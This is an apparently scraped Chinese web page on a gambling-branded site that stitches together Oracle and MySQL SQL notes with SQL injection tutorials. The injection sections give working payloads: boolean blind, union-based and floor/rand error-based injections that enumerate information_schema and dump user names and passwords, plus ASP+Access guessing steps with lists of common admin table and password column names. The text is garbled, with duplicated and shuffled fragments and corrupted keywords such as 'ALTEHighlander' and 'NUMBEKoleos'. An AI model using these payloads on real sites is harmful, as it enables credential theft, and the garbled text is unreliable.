当前位置: 澳门新濠3559 > 数据库 > 正文

使用情景,查看数据库版本

时间:2019-11-22 23:13来源:数据库
SQL语句去掉重复记录,获取重复记录--查询一个表中有效去掉重复的记录,UserID为自拉长主键,RoleID为重新字段SELECTMINASUserID,RoleIDFROMtmpTableGROUPBYRoleIDSELECTRoleIDFROMtmpTableGROUPBYRoleIDHAVING S

SQL语句去掉重复记录,获取重复记录 --查询一个表中有效去掉重复的记录,UserID为自拉长主键,RoleID为重新字段 SELECTMINASUserID,RoleIDFROMtmpTableGROUPBYRoleID SELECTRoleIDFROMtmpTableGROUPBYRoleIDHAVING SELECTDISTINCT*FROMtmpTable sql语句询问sqlserveraccess数据Curry的有所表名,字段名二〇〇五年012月01日礼拜五上午04:21SQLSETiggoVE牧马人查看全体表名: selectnamefromsysobjectswheretype='U' 查询表的有着字段名: SelectnamefromsyscolumnsWhereID=OBJECT_ID select*frominformation_schema.tables select*frominformation_schema.views select*frominformation_schema.columns ACCESS 查看全体表名: selectnamefromMSysObjectswheretype=1andflags=0 MSysObjects是系统对象,暗许景况是隐形的。通过工具、选项、视图、呈现、系统对象能够使之展现出来

布尔类型注入sql盲注

可取:通用性强,能够未有展现位,能够没有报错新闻
缺点:慢。

规律:依据重回页面是或不是符合规律,判别值的限量,通过二分法最后分明具体的值

动用到的函数:
exists() 查询最少再次回到一条数据
返回:true or false
ascii() 重临叁个字符串最左侧ascii码的值
substr() 多个参数,生机勃勃:字符串,二:伊始地方,三:长度 mysql中初露地点从1发端。
length() 总括长度函数

payload:
1.查询全体数据库

  1. 查询数据库个数:
    ?id=1' and ((select count(schema_name) from information_schema.schemata) < 77)--+
    77为随机输入数字,可因而二分法鲜明最后值。下同。
  2. 查询某一个数据库的长度:
    ?id=1' and ((select length(schema_name) from information_schema.schemata limit 1,1) < 77)--+
    3)查看某些数据库名:
    ?id=1' and ((select ascii(substr((select schema_name from information_schema.schemata limit 1,1),1,1))) < 77)--+
    由此转移limit与substr的值,依次查看每贰个字符

2.查询有些数据库的全数表
1)查询表的个数 (此例为message数据库中的表):
?id=1' and ((select count(distinct+table_name) from information_schema.tables where table_schema='message' ) < 77)--+
2)查看有个别表名的长短(此例为message数据库中的表):
?id=1' and ((select length(table_name) from information_schema.tables where table_schema='message' limit 1,1) < 77)--+
3)查看有个别表名(此例为message数据库中的表):
?id=1' and ((select ascii(substr((select table_name from information_schema.tables where table_schema='message' limit 1,1),1,1))) < 77)--+
透过改换limit与substr的值,依次查看每二个字符

3.询问某个表中的富有字段
1)表中字段的个数(此例中为message数据库中的users表卡塔 尔(阿拉伯语:قطر‎:
?id=1' and ((select count(distinct+column_name) from information_schema.columns where table_schema='message' and table_name='users' ) < 77)--+
2)查看某些字段名的长度(此例中为message数据库中的users表卡塔尔:
?id=1' and ((select length(column_name) from information_schema.columns where table_schema='message' and table_name='users' limit 1,1) < 77)--+
3)查看某些字段名(此例中为message数据库中的users表卡塔 尔(英语:State of Qatar):
?id=1 ' and ((select ascii(substr((select column_name from information_澳门新濠3559,schema.columns where table_schema='message' and table_name='users' limit 1,1),1,1))) < 77)--+
透过退换limit与substr的值,依次查看每二个字符

4.翻看内容
1)查看表中的行数(此例中为message数据库中的users表卡塔 尔(阿拉伯语:قطر‎:
?id=1' and ((select count(*) from message.users ) < 77)--+
2)查看有些字段对应内容的长度(此例中为message数据库中的users表卡塔尔:
?id=1' and ((select length(name) from message.users limit 1,1) < 77)--+
3)查看某些字段名对应内容(此例中为message数据库中的users表中的name字段卡塔尔国:
?id=1' and ((select ascii(substr((select name from message.users limit 1,1),1,1))) < 77)--+
透过更换limit与substr的值,依次查看每多少个字符

RETURN NULL

LPAD(char1,n,char2)函数
解释:

select from *表 where=1 and name="admin" ---展现表中还要满意id=1 name="admin"的笔录

注: 以下payload均基于单引号字符型注入。假如整型注入,需将单引号与前面包车型大巴注释符(--+)都去掉;假使双引号注入,需将单引号改为双引号。

字符串类型的字段值必需用单引号括起来, 譬如: ’GOOD DAY’
假诺字段值里含有单引号’ 必要开展字符串转变, 我们把它替换来三个单引号''. 
字符串类型的字段值超越定义的长度会出错, 最佳在插入前行行长度校验.

行使union能够开展合营查询,一回性实践八个或然五个查询,并将查询结果后生可畏并展现

可联合查询注入

应用景况:页面有展现位。
亮点:语句轻便,急忙。
缺欠:条件苛刻。

规律:通过显示位,直接揭露所查新闻。

1.判定当前数据表中有几列:
?id=1' order by 数值 --+
2.翻看显示位在第几列(这里倘使共有3列):
?id=-1' union select 1,2,3 --+
3.体现当前数据库(纵然突显位在第3 列):
?id=-1' union select 1,2,database() --+
4.询问当前数据库的全体表:
?id=-1' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=database()) --+
5.询问全数数据库 :
?id=-1' union select 1,2,(select group_concat(schema_name) from information_schema.schemata) --+
6.查询某些数据库中的表 (此例为 db1 数据库):
?id=-1' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema='message') --+
7.询问某些表中的装有字段 (此例为 message数据库中的users 表):
?id=-1' union select 1,2,(select group_concat(column_name) from information_schema.columns where table_schema='message' and table_name='users') --+
8.询问有些表中的字段内容(此例为 message数据库中的users 表):
?id=-1' union select 1,2,(select group_concat(name,0x3a,0x3a,passwd) from message.users) --+


SQL注入核心境想:在正规须要调用数据库数据的U凯雷德L前面构造意气风发段数据库查询代码,然后依据重返的结果,拿到有些想要的数目。

报错型注入(常存在 安顿于开采情状的卡塔 尔(阿拉伯语:قطر‎

动用景况:服务器开着,有mysql_error()的报错音信,不过从未显得位。
可取:没彰显位也可用,火速。
破绽:语句复杂。

原理:根据详细的报错新闻。能够查阅到数据库中的全部内容。

floor 类型
固定格式:(星号地点替换为查询语句就可以)
?id=1' and (select 1 from (select count(),concat(0x3a,0x3a,(******),0x3a,0x3a, floor(rand(0)2)) a from information_schema.columns group by a)s) --+
1.爆数据库:
?id=1' and (select 1 from (select count(
),concat(0x3a,0x3a,(
select distinct table_schema from information_schema.columns limit 1,1
),0x3a,0x3a, floor(rand(0)2)) a from information_schema.columns group by a)s) --+
**小提示:由于报错消息每趟只好展现1行,所以这里使用limit,通过改过limit后的首先个数值,可依次爆出全体剧情。下同。
2.爆表名(此例为message数据库):
?id=1' and (select 1 from (select count(
),concat(0x3a,0x3a,(
select table_name from information_schema.tables where table_schema='message' limit 2,1
),0x3a,0x3a, floor(rand(0)2)) a from information_schema.columns group by a)s) --+
3.爆字段(此例为message数据库的users表卡塔尔国:
?id=1' and (select 1 from (select count(
),concat(0x3a,0x3a,(
select column_name from information_schema.columns where table_schema='message' and table_name='users' limit 2,1
),0x3a,0x3a, floor(rand(0)2)) a from information_schema.columns group by a)s) --+
4.爆剧情(此例为message数据库的users表卡塔 尔(阿拉伯语:قطر‎:
?id=1' and (select 1 from (select count(
),concat(0x3a,0x3a,(
select concat(0x3a,0x3a, name,0x3a,0x3a,passwd,0x3a,0x3a) from message.users limit 0,1
),0x3a,0x3a, floor(rand(0)*2)) a from information_schema.columns group by a)s) --+

             底蕴查询分类

select *from 表1 union select name,age from 表2 ---不奇怪查询

主干的Sql编写注意事项

1。尽量少用IN操作符,基本上全数的IN操作符都得以用EXISTS替代。 

2。不用NOT IN操作符,能够用NOT EXISTS或许外接连+替代。 

3。Oracle在执行IN子查询时,首先实践子查询,将查询结果归入有时表再实践主查询。
   而EXIST则是首先检查主查询,然后运营子查询直到找到第二个匹配项。
   NOT EXISTS 比 NOT IN 效用稍高。但具体在接受IN或EXIST操作时,
   要基于主人表数据量大小来具体思谋。 

4。不用“<>”或者“!=”操作符。对不对等操作符的拍卖会形成全表扫描,
   可以用“<” or “>”代替。 

5。Where子句中现身IS NULL或许IS NOT NULL时,Oracle会结束使用索引而进行全表扫描。
   可以杜撰在兼备表时,对索引列设置为NOT NULL。那样就足以用任何操作来代替判别NULL的操作。 

6。当通配符“%”只怕“_”作为查询字符串的率先个字符时,索引不会被运用。 

7。对于有延续的列“||”,最终一个一而再再而三列索引会无效。尽量制止连接,
   能够分别连接恐怕选取不功用在列上的函数代替。 

8。借使索引不是依靠函数的,那么当在Where子句中对索引列使用函数时,索引不再起作用。 

9。Where子句中防止在索引列上使用总结,不然将招致索引失效而进展全表扫描。 

10。对数据类型分歧的列实行比较时,会使索引失效。 

11。用“>=”替代“>”。 

12。UNION操作符会对结果开展筛选,消亡重复,数据量大的气象下或然会唤起磁盘排序。
    假若没有须求删除重复记录,应该选拔UNION ALL。 

13。Oracle从下到上管理Where子句中多个查询条件,所以表连接语句应写在任何Where条件前,
    能够过滤掉最大数量记录的标准化必得写在Where子句的末梢。 

14。Oracle从右到左管理From子句中的表名,所以在From子句中隐含多少个表的情况下,
    将记录起码的表放在最终。

15。Order By语句中的非索引列会减弱品质,能够通过加多索引的办法管理。
    严控在Order By语句中选择表明式。 

16。差异区域现身的均等的Sql语句,要作保查询字符完全相通,以使用SGA分享池,
    防止同风度翩翩的Sql语句被再三剖析。 

17。当在Sql语句中连连七个表时,使用表的别称,并将之视作每列的前缀。那样能够裁减深入分析时间。

==================================

假设:表1有2个字段,表2有3个字段

字符char1按制订的位数n展现,不足的位数用char2字符串替换左侧的空位

字段名之间能够实行算术运算
例如:  (字段名1*字段名1)/3

=====================================

select user(); 查看数据库当前客户

子查询   --- 单行、多行、相关、标量、多列、DDL中、DML中

====================================

1。order by 子句必需放在最终。

2。组管理函数只好出今后接纳列表、order by子句、having子句中,
   不能够冒出在where子句和group by子句中。

3。在选择列表中蕴藏的列、表明式,则早晚要出新在group by子句中。

4。where子句中得以选取单行子查询,能够接收单行运算符。
   ( =,>,<,>=,<=,<> )

5。where子句中能够利用多行子查询,可以选拔多行运算符。
   ( in,not in,exists,not exists,all,any )

 

====================================


查询语句能够嵌套

例如: 
SELECT …… FROM 
(
   SELECT …… 
   FROM表名1, [表名2, ……] 
   WHERE 条件1

WHERE 条件2;

======================================

注意点:联合查询中列数必需黄金时代律

create table 语句中的子查询

create table dept1 (deptno, dname, loc) as
select deptno, dname, loc from dept;

create table emp1 as 

select 字段1,字段2 from 表 where id=1; ---只呈现表中id=1的字段1,字段2

ORACLE DOC上说字符串最大能够建索引的长短约是:数据块的尺寸(db_block_size)*40%


2.视图 (VIEW)

CREATE VIEW 视图名AS SELECT …. FROM …..;
ALTER VIEW视图名 COMPILE;

视图仅是二个SQL查询语句, 它能够把表之间复杂的关联简洁化.


3.同义词 (SYNONMY)
CREATE SYNONYM同义词名FO帕杰罗 表名;
CREATE SYNONYM同义词名FORubicon 表名@数据库链接名;


4.多少库链接 (DATABASE LINK)
CREATE DATABASE LINK数据库链接名CONNECT TO 顾客名 IDENTIFIED BY 密码 USING ‘数据库连接字符串’;
    
数据库连接字符串能够用NET8 EASY CONFIG大概直接改正TNSNAMES.ORA里定义.

数据库参数global_name=true时要求数据库链接名称跟远端数据库名称相似

数据库全局名称可以用以下命令查出
SELECT * FROM GLOBAL_NAME;

询问远端数据Curry的表
SELECT …… FROM 表名@数据库链接名;

 

select *from 表2 union select 1,id,name from 表1 ---平常查询

五个以上表之间的接连查询

SELECT 字段名1, 字段名2, …… 
FROM   表名1, [表名2, ……] 
WHERE  表名1.字段名 = 表名2. 字段名 
[ AND ……] ;

SELECT 字段名1, 字段名2, …… 
FROM   表名1, [表名2, ……] 
WHERE  表名1.字段名 = 表名2. 字段名(+) 
[ AND ……] ;

有(+)号的字段地方自动补空值

===================================

select from *表 order by id; 依照表中id字段来排序

日期字段的字段值能够用当下数据库的体系时间SYSDATE, 正确到秒
也许用字符串转换来日期型函数TO_DATE(‘2001-08-01’,’YYYY-MM-DD’)
TO_DATE()还会有好三种日期格式, 能够参看ORACLE DOC. 
年-月-日 小时:分钟:秒 的格式YYYY-MM-DD HH24:MI:SS

select database(): 查看当前数据库

分组查询

SELECT   字段名1, 字段名2, …… 
FROM     表名1, 表名2, ……
GROUP BY 字段名1 
HAVING 条件

===================================

(1卡塔尔国MySQL基本操作:

insert 语句中使用子查询

insert into emp1
select * from emp
where deptno = (select deptno from where dname = 'ACCOUNTING')

=====================================

 

=====================================

select version(); 查看数据库版本

二.数码定义 (DDL) 部分

1.CREATE (成立表, 索引, 视图, 同义词, 进度, 函数, 数据库链接等)

ORACLE常用的字段类型有
CHARubicon            固定长度的字符串
VARCHASportage2        可变长度的字符串
NUMBEKoleos(M,N)        数字型M是位数总参谋长度, N是小数的长短
DATE            日期类型

创制表时要把超小的不为空的字段放在前面, 可能为空的字段放在前边

创立表时可以用中文的字段名, 但最棒依旧用立陶宛语的字段名

创设表时能够给字段加上暗许值, 举例 DEFAULT SYSDATE
如此那般每一遍插入和改换时, 不用程序操作那一个字段都能获得动作的时光

始建表时能够给字段加上约束标准
比方说 不容许再度 UNIQUE, 关键字 PLacrosseIMA索罗德Y KEY

------------------------------------------------------------------        
2.ALTER    (改变表, 索引, 视图等)

改动表的名目
ALTER TABLE 表名1  TO 表名2;

在表的背后扩大贰个字段
ALTEHighlander TABLE表名 ADD 字段名 字段名描述;

校正表里字段的定义描述
ALTEENCORE TABLE表名 MODIFY字段名 字段名描述;

给表里的字段加上节制原则
ALTER TABLE 表名 ADD CONSTRAINT 约束名 PRIMARY KEY (字段名);
ALTER TABLE 表名 ADD CONSTRAINT 约束名 UNIQUE (字段名);

把表放在或收取数据库的内部存款和储蓄器区
ALTER TABLE 表名 CACHE;
ALTER TABLE 表名 NOCACHE;


3.DROP    (删除表, 索引, 视图, 同义词, 进程, 函数, 数据库链接等)

删除表和它装有的封锁标准
DROP TABLE 表名 CASCADE CONSTRAINTS;


4.TRUNCATE (清空表里的具备记录, 保留表的构造)

TRUNCATE 表名;

=====================================

(2)select 查询:

               RETURN EXPR1

DECODE(AA﹐V1﹐R1﹐V2﹐R2澳门新濠3559 1.)函数
解释: 
IF AA=V1 THEN RETURN R1
IF AA=V2 THEN RETURN R2
..…
ELSE

select *from 表;  ---展现表中的享有记录

select * from emp;

select *from 表 where id=1; ---突显表中id为1的记录  where前面为查询条件

======================================

show tables; 查看数据库中的表名

字符char1按制定的位数n显示,不足的位数用char2字符串替换侧面的空位

字段名之间能够实行算术运算

                                                    ASP+ACCESS注入

留心:asp+access注入中,表名,字段名,有稍微字段全都要靠猜的= =。。  由此可知。便是要靠经验猜!也得以依靠一些工具里的字典

手续1:判别注入点 在像是有注入点的页前面面到场 and 1=1 和 and 1=2 若是and1=1为健康展现,and 1=2 显示万分 则有SQL注入

手续2:猜利肠府名 使用exists()函数 

EXISTS(满含 NOT EXISTS )子句的再次回到值是贰个BOOL值。 EXISTS内部有一个子查询语句(SELECT ... FROM...), 作者将其称为EXIST的内查询语句。其内查询语句重回多少个结实集。 EXISTS子句依据其内查询语句的结果集空恐怕非空,重回一个布尔值。

风流洒脱种通俗的能够理解为:将外查询表的每后生可畏行,代入内查询作为查验,如若内查询再次来到的结果取非空值,则EXISTS子句重返TRUE,那豆蔻梢头行行可看作外查询的结果行,否则不可能一视同仁结果。

and exists(select *from admin)

广泛表名如:admin user adminuser manage mannager 

手续3:猜解字段名 同步骤2

and exists(select name from admin)

布衣蔬食字段名:

账号:name  username user_name admin  adminuser admin_user admin_username adminname 

密码:password  pass  userpass user_pass   pwd userpwd adminpwd admin_pwd

手续4:猜解字段数量

order by 20

order by 在SQL注入中不唯有是用作排序越来越大的效果是猜解字段的数码,假若order 20出示符合规律即表明表中的字段大于等于20

建议二分猜解,例如20出示卓殊 就猜10 假若10彰显常常则注脚表中字段在10-20中间顺次猜解

手续5:爆出字段内容

union select 1,username,password,4,5,6,7,8,9,10 from admin

在步骤4中大家猜解出字段数量后,会暴露内容突显的位置(这里是2,3卡塔 尔(英语:State of Qatar)在2,3岗位用字段名替代会爆出内容,到此处我们的一次asp+access注入就成功了


RETURN NULL

LPAD(char1,n,char2)函数
解释:

(3卡塔 尔(阿拉伯语:قطر‎union select 联合查询:

3.UPDATE  (修正数据表里记录的口舌)

                                                     PHP+MySQL注入

与asp+access不一致的是:在5.0事后的MySQL中存在叁个元数据库information_schem,当中蕴藏着顾客在MySQL中开创的全部别的数据库的新闻。在对PHP+MySQL类网址开展注入时,首要正是针对性information_schema数据库实行操作。

information_schema中比较根本的数据表:

schemata:用于寄存全体数据库的名字

tables:用于寄存全部数据库中的数据表的名字

columns:用于存放全体数据库的具有数据表中的具有字段的名字


手续1:同上用and 1=1 依旧 and 1=2 判别注入点,基本上sql注入第一步都是研究注入点

步骤2:用order by判别字段的数额

order by 10

步骤3:联合查询

union select 1,2,3,4,5

不等于access注入的是毫无在查询语句中钦点数量表名

纵然页面有呈现符合规律数据的地点占领了我们爆敏感数据的职位能够这么纠正

and 1=2 union select 1,2,3,4,5

如此那般大家就足以看见可显字段

步骤4:爆出用MySQL函数爆出敏感音讯

  and 1=2 union select 1,user(),database(),4,5

如此那般大家就展露了客户名跟数据库名,接下去去元数据库information_schema里去追寻了

  and 1=2 union select 1,table_name,3,4,5 from information_schema.tables where table_schema="databasename"

table_name会爆出表名继续爆出字段名

  and 1=2 union select 1,column_name,3,4,5 from information_schema.columns where table_name="tablename"

最后爆出客户名跟密码就哦了~

  and 1=2 union select 1,username,password,4,5 from tablename

ok~这就是php+mysql的注入

   四.ORACLE里常用的多寡对象 (SCHEMA)

1.索引 (INDEX)

CREATE INDEX 索引名ON 表名 ( 字段1, [字段2, ……] );
ALTER INDEX 索引名 REBUILD;

多少个表的目录最棒永不超越多少个 (特殊的大表除此之外), 最佳用单字段索引, 结合SQL语句的深入分析执增势况, 
也可以创设多字段的组成索引和依附函数的目录

ORACLE8.1.7字符串能够索引的最大尺寸为1578 单字节
ORACLE8.0.6字符串能够索引的最大尺寸为758 单字节

show database; 查看MySQL中满含怎样数据库

        DDL 中使用子查询

select *from 表1 union select *from 表2 ---报错,字段不协作

        DML 中使用子查询

select from *表 where=1 or name="admin"  ---显示表中满足id=1 还是name="admin"的记录

       TO_CHAR(DATE字段名,'YYYY-MM-DD HH24:MI:SS')

NVL(EXPR1, EXPR2)函数
解释:    
IF EXPR1=NULL
                RETURN EXPR2
ELSE

字符串模糊比较的办法

INSTR(字段名, ‘字符串’)>0    

总是查询 --- 相等连接、不等连续、自己连接

====================================

       TO_CHAR(DATE字段名,'YYYY-MM-DD HH24:MI:SS')

NVL(EXPR1, EXPR2)函数
解释:    
IF EXPR1=NULL
        RETURN EXPR2
ELSE

create view 中使用子查询

create or replace view dept_20 as
select * from emp1 where deptno = 20 order by empno;

======================================

集合查询 --- UNION,UNION ALL,INTECR-VSECT,MINUS

我们得以计算一下大概引起全表扫描的操作: 

1。在索引列上行使NOT或许“<>”; 

2。对索引列使用函数或许总计; 

3。NOT IN操作; 

4。通配符位于查询字符串的首先个字符; 

5。IS NULL或者IS NOT NULL; 

update 语句中使用子查询

update emp1 set (sal,comm) =
( select sal, comm from emp1 where ename = 'WARD' )
where job = ( select job from emp1 where ename= 'WARD' )

======================================

三个查询语句的结果能够做集结操作

例如说: 并集  UNION    (去掉重复记录), 
      并集  UNION ALL(不去掉重复记录), 
      差集  MINUS,  
      交集  INTERSECT

====================================

 五.权限管理 (DCL) 语句

1.GRANT    赋于权力
常用的系统权限会集有以下八个:
CONNECT(基本的连续几日), RESOURCE(程序支付), DBA(数据库管理)
常用的数量对象权限有以下四个:
ALL     ON 数据对象名,     SELECT ON 数据对象名,     UPDATE ON 数据对象名,
DELETE     ON 数据对象名,  INSERT ON 数据对象名,   ALTEKuga  ON 数据对象名

GRANT CONNECT, RESOURCE TO 用户名;
GRANT SELECT ON 表名 TO 用户名;
GRANT SELECT, INSERT, DELETE ON表名 TO 用户名1, 用户名2;


2.REVOKE 回笼权限

REVOKE CONNECT, RESOURCE FROM 用户名;
REVOKE SELECT ON 表名 FROM 用户名;
REVOKE SELECT, INSERT, DELETE ON表名 FROM 用户名1, 用户名2;

注意事项: 
A.    以上SQL语句对表都增进了行级锁,
    确认实现后, 必得抬高事物管理终结的吩咐 COMMIT 工夫正式生效, 
    不然更换不自然写入数据Curry.    
    尽管想撤回那个操作, 能够用命令 ROLLBACK 复原.
    
B.    在运作INSERT, DELETE 和 UPDATE 语句前最棒测度一下或然操作的笔录范围, 
    应该把它界定在极小 (风流洒脱万条记下) 范围内,. 否则ORACLE处理那么些东西用到十分大的回降段. 
    程序响应慢以至失去响应. 假诺记录数上十万上述这么些操作, 能够把那些SQL语句分段分次达成, 
    其间加上COMMIT 确认事物管理.

 二.数码定义 (DDL) 部分

1.CREATE (创制表, 索引, 视图, 同义词, 进程, 函数, 数据库链接等)

ORACLE常用的字段类型有
CHAEvoque            固定长度的字符串
VARCHA中华V2        可变长度的字符串
NUMBEMurano(M,N)        数字型M是位数总参谋长度, N是小数的长度
DATE            日期类型

创立表时要把很小的不为空的字段放在前方, 或者为空的字段放在前边

创造表时能够用汉语的字段名, 但最佳还是用俄语的字段名

始建表时能够给字段加上暗许值, 比如 DEFAULT SYSDATE
与此相类似每一遍插入和纠正时, 不用程序操作这么些字段都能得到动作的小运

创制表时能够给字段加上约束原则
举个例子 不允许再次 UNIQUE, 关键字 P科雷傲IMAGL450Y KEY

------------------------------------------------------------------        
2.ALTER    (改变表, 索引, 视图等)

校正表的称号
ALTER TABLE 表名1  TO 表名2;

在表的前面扩充一个字段
ALTE汉兰达 TABLE表名 ADD 字段名 字段名描述;

修正表里字段的定义描述
ALTERubicon TABLE表名 MODIFY字段名 字段名描述;

给表里的字段加上约束原则
ALTER TABLE 表名 ADD CONSTRAINT 约束名 PRIMARY KEY (字段名);
ALTER TABLE 表名 ADD CONSTRAINT 约束名 UNIQUE (字段名);

把表放在或抽取数据库的内部存款和储蓄器区
ALTER TABLE 表名 CACHE;
ALTER TABLE 表名 NOCACHE;


3.DROP    (删除表, 索引, 视图, 同义词, 进度, 函数, 数据库链接等)

删除表和它抱有的约束标准
DROP TABLE 表名 CASCADE CONSTRAINTS;


4.TRUNCATE (清空表里的有所记录, 保留表的构造)
  TRUNCATE 表名;

 

若果改造的值N未有赋值或概念时, 将把原本的笔录内容清为NULL, 最棒在改进前行行非空校验; 
值N超越定义的长度会出错, 最佳在插入前实行长度校验..

INSERT时借使要用到从1开头活动增进的队列号, 应该先创立一个系列号
CREATE SEQUENCE 种类号的名称 (最棒是表名+连串号标志) INCREMENT BY 1  START  WITH  1 
 MAXVALUE  99999  CYCLE  NOCACHE;
其间最大的值按字段的尺寸来定, 如若定义的自发性增加的队列号 NUMBE景逸SUV(6) , 最大值为999999
INSERT 语句插入那几个字段值为: 体系号的名称.NEXTVAL

专一:删除记录并无法放出ORACLE里被占用的多寡块表空间. 它只把那三个被删除的多寡块标成unused.

ORDER BY字段名1, 字段名2 DESC;

字符串模糊相比较的艺术

INSTR(字段名, ‘字符串’)>0    
字段名 LIKE  ‘字符串%’  [‘%字符串%’]

各样表都有一个暗含的字段ROWID, 它标识着记录的独一无二性. 

四.ORACLE里常用的数目对象 (SCHEMA)

1.索引 (INDEX)

CREATE INDEX 索引名ON 表名 ( 字段1, [字段2, ……] );
ALTER INDEX 索引名 REBUILD;

二个表的目录最佳永不赶上四个 (特殊的大表除了这一个之外), 最棒用单字段索引, 结合SQL语句的深入分析执生势况, 
也足以创造多字段的构成索引和依照函数的目录

ORACLE8.1.7字符串能够索引的最大尺寸为1578 单字节
ORACLE8.0.6字符串能够索引的最大尺寸为758 单字节

ORACLE DOC上说字符串最大能够建索引的尺寸约是:数据块的大大小小(db_block_size)*40%


2.视图 (VIEW)

CREATE VIEW 视图名AS SELECT …. FROM …..;
ALTER VIEW视图名 COMPILE;

视图仅是二个SQL查询语句, 它可以把表之间复杂的涉嫌简洁化.


3.同义词 (SYNONMY)
CREATE SYNONYM同义词名FOTiggo 表名;
CREATE SYNONYM同义词名FO索罗德 表名@数据库链接名;


4.多少库链接 (DATABASE LINK)
CREATE DATABASE LINK数据库链接名CONNECT TO 客商名 IDENTIFIED BY 密码 USING ‘数据库连接字符串’;
    
数据库连接字符串能够用NET8 EASY CONFIG或然直接修改TNSNAMES.ORA里定义.

数据库参数global_name=true时必要数据库链接名称跟远端数据库名称相近

数据库全局名称能够用以下命令查出
SELECT * FROM GLOBAL_NAME;

询问远端数据Curry的表
SELECT …… FROM 表名@数据库链接名;

=====================================

(SELECT …… FROM表名1, [表名2, ……] WHERE 条件) WHERE 条件2;

五个查询语句的结果能够做集合操作
例如说: 并集  UNION    (去掉重复记录), 
      并集  UNION ALL(不去掉重复记录), 
      差集  MINUS,  
      交集  INTERSECT


分组查询
SELECT字段名1, 字段名2, …… FROM 表名1, [表名2, ……] GROUP BY字段名1 
[HAVING 条件] ;

八个以上表之间的三番五回查询

SELECT 字段名1, 字段名2, …… 
FROM   表名1, [表名2, ……] 
WHERE 表名1.字段名 = 表名2. 字段名 
[ AND ……] ;

SELECT字段名1, 字段名2, …… 
FROM  表名1, [表名2, ……] 
WHERE 表名1.字段名 = 表名2. 字段名(+) 
[ AND ……] ;

有(+)号的字段地方自动补空值
----------------------------------------------------------        
询问结果集的排序操作, 暗中同意的排序是升序ASC, 降序是DESC

SELECT字段名1, 字段名2, …… FROM 表名1, [表名2, ……] 

delete 语句中使用子查询

delete from emp1
where deptno = (select deptno from dept1 where dname = 'ACCOUNTING' )

=======================================

着力查询 --- 全体列、钦赐列、where子句、order by子句

            三.查询语句 (SELECT) 部分

SELECT字段名1, 字段名2, …… FROM 表名1, [表名2, ……] WHERE 条件; 

字段名能够指引函数
  例如:  COUNT(*), MIN(字段名),  MAX(字段名),  AVG(字段名), DISTINCT(字段名), 

DELETE FROM表名 WHERE 条件;

字段名 LIKE  ‘字符串%’  [‘%字符串%’]

各种表都有三个分包的字段ROWID, 它标记着记录的必由之路性. 

 

查询结果集的排序操作, 暗许的排序是升序ASC, 降序是DESC

SELECT   字段名1, 字段名2, …… 
FROM     表名1, [表名2, ……] 
ORDER BY 字段名1, 字段名2 DESC;

===================================

               RETURN EXPR1

DECODE(AA﹐V1﹐R1﹐V2﹐R2澳门新濠3559 2.)函数
解释: 
IF AA=V1 THEN RETURN R1
IF AA=V2 THEN RETURN R2
..…
ELSE


1.INSERT  (往数据表里插入记录的说话)

UPDATE表名 SET 字段名1=值1, 字段名2=值2, …… WHERE 条件;

WHERE   条件; 

字段名能够教导函数
  例如:  COUNT(*), MIN(字段名),  MAX(字段名),  AVG(字段名), DISTINCT(字段名), 

生龙活虎经真的要去除贰个大表里的任何笔录, 能够用 TRUNCATE 命令, 它能够自由占用的数码块表空间
TRUNCATE TABLE 表名; 
此操作不可回落.

INSERT INTO 表名(字段名1, 字段名2, ……) VALUES ( 值1, 值2, ……); 
INSERT INTO 表名(字段名1, 字段名2, ……)  SELECT 字段名1, 字段名2, …… FROM 此外的表名;

 三.查询语句 (SELECT) 部分

SELECT  字段名1, 字段名2, …… 
FROM    表名1, [表名2, ……] 

6。多列索引,但它的首先个列并未被Where子句援引; 

转自:

分组查询 --- 组管理函数、group by子句、having子句

INSERT时最大可操作的字符串长度小于等于4000个单字节, 假使要插入更加长的字符串, 请思虑字段用CLOB类型,
格局借用ORACLE里自带的DBMS_LOB程序包.

例如:  (字段名1*字段名1)/3

查询语句能够嵌套
例如: SELECT …… FROM 

2.DELETE  (删除数据表里记录的讲话)

五.权限处理 (DCL) 语句

1.GRANT    赋于权力
常用的种类权限集合有以下四个:
CONNECT(基本的总是), RESOURCE(程序开拓), DBA(数据库管理)
常用的数额对象权限有以下四个:
ALL     ON 数据对象名,     SELECT ON 数据对象名,     UPDATE ON 数据对象名,
DELETE     ON 数据对象名,  INSERT ON 数据对象名,   ALTEENVISION  ON 数据对象名

GRANT CONNECT, RESOURCE TO 用户名;
GRANT SELECT ON 表名 TO 用户名;
GRANT SELECT, INSERT, DELETE ON表名 TO 用户名1, 用户名2;


2.REVOKE 回笼权限

REVOKE CONNECT, RESOURCE FROM 用户名;
REVOKE SELECT ON 表名 FROM 用户名;
REVOKE SELECT, INSERT, DELETE ON表名 FROM 用户名1, 用户名2;

 

=======================================

编辑:数据库 本文来源:使用情景,查看数据库版本

关键词: